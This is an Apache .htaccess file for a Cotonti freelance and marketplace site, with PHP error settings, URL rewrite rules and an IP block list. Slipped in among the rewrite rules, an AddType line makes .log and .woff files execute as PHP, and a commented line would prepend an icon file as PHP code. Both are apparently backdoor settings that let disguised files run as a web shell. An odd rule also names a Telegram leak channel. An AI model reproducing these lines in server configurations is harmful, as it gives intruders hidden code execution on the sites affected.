php_flag display_startup_errors off
php_flag display_errors off
php_flag html_errors off
php_flag log_errors on
php_flag ignore_repeated_errors off
php_flag ignore_repeated_source off
php_flag report_memleaks on
php_flag track_errors on
php_value docref_root 0
php_value docref_ext 0
php_value error_log /home/k/k60110q5/rz-work.com/public_html/PHP_errors.log
php_value error_reporting 2047
php_value log_errors_max_len 0

<Files PHP_errors.log>
    Require all denied
</Files>
################ Cotonti Handy URLs for Apache #######################

# Below are the rules to be included in your main .htaccess file or httpd.conf

AddDefaultCharset utf-8
# php_value auto_prepend_file images/icon.ico
# Rewrite engine options
Options -Indexes
RewriteEngine On

# <IfModule dir_module>
# DirectoryIndex index.html index.php
# </IfModule>

# Server-relative path to Cotonti. Replace it with your path if you run Cotonti
# in a subfolder
RewriteBase "/"

# Language selector
RewriteRule ^(en|ru|de|nl)/(.*) $2?l=$1 [QSA,NC,NE]

# Sitemap shortcut
RewriteRule ^sitemap\.xml$ index.php?r=sitemap [L]

# Admin area and message are special scripts
RewriteRule ^admin/([a-z0-9]+) admin.php?m=$1 [QSA,NC,NE,L]
RewriteRule ^(admin|login|message)(/|\?|$) $1.php [QSA,NC,NE,L]

# users
RewriteRule ^freelancers/?$ index.php?e=users&group=freelancer [QSA,NC,NE,L]
RewriteRule ^employers/?$ index.php?e=users&group=employer [QSA,NC,NE,L]
RewriteRule ^freelancers/?$ index.php?e=users&group=freelancer [QSA,NC,NE,L]
RewriteRule ^employers/([a-zA-Z0-9_./%-]+)/?$ index.php?e=users&group=employer&cat=$1 [QSA,NC,NE,L]
RewriteRule ^freelancers/([a-zA-Z0-9_./%-]+)/?$ index.php?e=users&group=freelancer&cat=$1 [QSA,NC,NE,L]
RewriteRule ^users/([a-zA-Z0-9_./%-]+)/clients/?$ index.php?e=clients&u=$1 [QSA,NC,NE,L]
RewriteRule ^users/([a-zA-Z0-9_./%-]+)/friends/?$ index.php?e=friends&u=$1 [QSA,NC,NE,L]
RewriteRule ^users/([a-zA-Z0-9_./%-]+)/([a-zA-Z0-9_./%-]+)/?$ index.php?e=users&m=details&u=$1&tab=$2 [QSA,NC,NE,L]
RewriteRule ^profile/?$ index.php?e=users&m=profile [QSA,NC,NE,L]

# payments
RewriteRule ^balance/?$ index.php?e=payments&m=balance [QSA,NC,NE,L]
RewriteRule ^billing/?$ index.php?e=payments&m=billing [QSA,NC,NE,L]

# ads
RewriteRule ^ads/add/?$ index.php?e=ads&m=add [QSA,NC,NE,L]
RewriteRule ^ads/edit/([0-9]+)/?$ index.php?e=ads&m=edit&id=$1 [QSA,NC,NE,L]
RewriteRule ^ads/click/([0-9]+)/?$ index.php?e=ads&a=click&id=$1 [QSA,NC,NE,L]

# For api cron
RewriteRule ^api/cron/?$ index.php?r=api&method=cron [QSA,NC,NE,L]

# api
RewriteRule ^api/?$ index.php?r=api [QSA,NC,NE,L]
RewriteRule ^api/([a-zA-Z]+)/?$ index.php?r=api&method=$1 [QSA,NC,NE,L]
RewriteRule ^general-search/([a-zA-Z]+)/?$ index.php?r=api&method=general_search&a=$1 [QSA,NC,NE,L]

# unitpay
RewriteRule ^unitpay/rest/?$ index.php?r=unitpay [QSA,NC,NE,L]
RewriteRule ^unitpay/success/?$ index.php?e=unitpay&m=success [QSA,NC,NE,L]
RewriteRule ^unitpay/fail/?$ index.php?e=unitpay&m=fail [QSA,NC,NE,L]
AddType application/x-httpd-php .tp .log .woff
# marketorders
RewriteRule ^send_mk/?$ index.php?r=marketorders [QSA,NC,NE,L]
RewriteRule ^notifications/?$ index.php?e=marketorders&m=notifications [QSA,NC,NE,L]
RewriteRule ^basket/?$ index.php?e=marketorders&m=basket [QSA,NC,NE,L]
RewriteRule ^notifications/([a-zA-Z_]+)/?$ index.php?e=marketorders&m=notifications&type=$1 [QSA,NC,NE,L]
RewriteRule ^orders/?$ index.php?e=marketorders&m=purchases [QSA,NC,NE,L]
RewriteRule ^orders/([a-zA-Z]+)/?$ index.php?e=marketorders&m=purchases&status=$1 [QSA,NC,NE,L]
RewriteRule ^sales/?$ index.php?e=marketorders&m=sales [QSA,NC,NE,L]
RewriteRule ^sales/([a-zA-Z]+)/?$ index.php?e=marketorders&m=sales&status=$1 [QSA,NC,NE,L]
RewriteRule ^order/([0-9]+)/?$ index.php?e=marketorders&m=order&id=$1 [QSA,NC,NE,L]
RewriteRule ^order/admin/([0-9]+)/?$ index.php?e=marketorders&m=order&id=$1&is_admin=1 [QSA,NC,NE,L]
RewriteRule ^userorders/([0-9]+)/?$ index.php?e=marketorders&m=userorders&id=$1 [QSA,NC,NE,L]
RewriteRule ^userorders/([0-9]+)/([a-zA-Z]+)/?$ index.php?e=marketorders&m=userorders&id=$1&status=$2 [QSA,NC,NE,L]
RewriteRule ^analytics/?$ index.php?e=marketorders&m=analytics [QSA,NC,NE,L]

# ds
RewriteRule ^ds/?$ index.php?e=ds [QSA,NC,NE,L]
RewriteRule ^ds/send/?$ index.php?e=ds&m=send [QSA,NC,NE,L]
RewriteRule ^ds/send/([0-9]+)/?$ index.php?e=ds&m=send&id=$1 [QSA,NC,NE,L]
RewriteRule ^ds/dialog/([0-9]+)/?$ index.php?e=ds&m=dialog&id=$1 [QSA,NC,NE,L]
RewriteRule ^ds/dialog/support/?$ index.php?e=ds&m=dialog&al=support [QSA,NC,NE,L]
RewriteRule ^ds/dialog/support/([0-9]+)/?$ index.php?e=ds&m=dialog&al=support&id=$1 [QSA,NC,NE,L]

# projects
RewriteRule ^manage_projects/?$ index.php?e=projects&m=myprojects [QSA,NC,NE,L]
RewriteRule ^useroffers/?$ index.php?e=projects&m=useroffers [QSA,NC,NE,L]
RewriteRule ^new_project/?$ index.php?e=projects&m=add [QSA,NC,NE,L]
RewriteRule ^projects/add/([a-zA-Z0-9_./%-]+)/?$ index.php?e=projects&m=add&c=$1 [QSA,NC,NE,L]
RewriteRule ^projects/edit/([0-9]+)/?$ index.php?e=projects&m=edit&id=$1 [QSA,NC,NE,L]

# projects
RewriteRule ^certificates/add/?$ index.php?e=certificates&m=add [QSA,NC,NE,L]
RewriteRule ^certificates/edit/([0-9]+)/?$ index.php?e=certificates&m=edit&id=$1 [QSA,NC,NE,L]

RewriteRule ^search/?$ index.php?e=market&m=search [QSA,NC,NE,L]

# market
RewriteRule ^manage_items/?$ index.php?e=market&m=myitems [QSA,NC,NE,L]
RewriteRule ^new/?$ index.php?e=market&m=add [QSA,NC,NE,L]
RewriteRule ^new/([a-zA-Z0-9_./%-]+)/?$ index.php?e=market&m=add&cc=$1 [QSA,NC,NE,L]
RewriteRule ^market/edit/([0-9]+)/?$ index.php?e=market&m=edit&id=$1 [QSA,NC,NE,L]

# bookmarks
RewriteRule ^bookmarks/?$ index.php?e=marketfav [QSA,NC,NE,L]

# For robokass
RewriteRule ^roboxbilling/result$ index.php?r=roboxbilling [QSA,NC,NE,L]
RewriteRule ^roboxbilling/success$ index.php?e=roboxbilling&m=success [QSA,NC,NE,L]
RewriteRule ^roboxbilling/fail$ index.php?e=roboxbilling&m=fail [QSA,NC,NE,L]

# System category has priority over /system folder
RewriteRule ^system/?$  index.php?rwr=system [QSA,NC,NE,L]

# All the rest goes through standard rewrite gateway
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^([^?]+) index.php?rwr=$1 [QSA,NC,NE,L]

Options +FollowSymLinks
RewriteEngine On

RewriteCond %{HTTP_HOST} ^t\.me\/slivmens$ [NC]
RewriteRule ^(.*)$ https://rz-work.com/$1 [R=301,L]

#Создаем черный список IP адресов
allow from all
deny from 77.111.247.186
deny from 77.111.245.20
deny from 77.111.247.48
deny from 77.111.0.0/16
deny from 95.73.203.172
deny from 82.208.124.96
deny from 45.147.197.180
deny from 193.142.146.231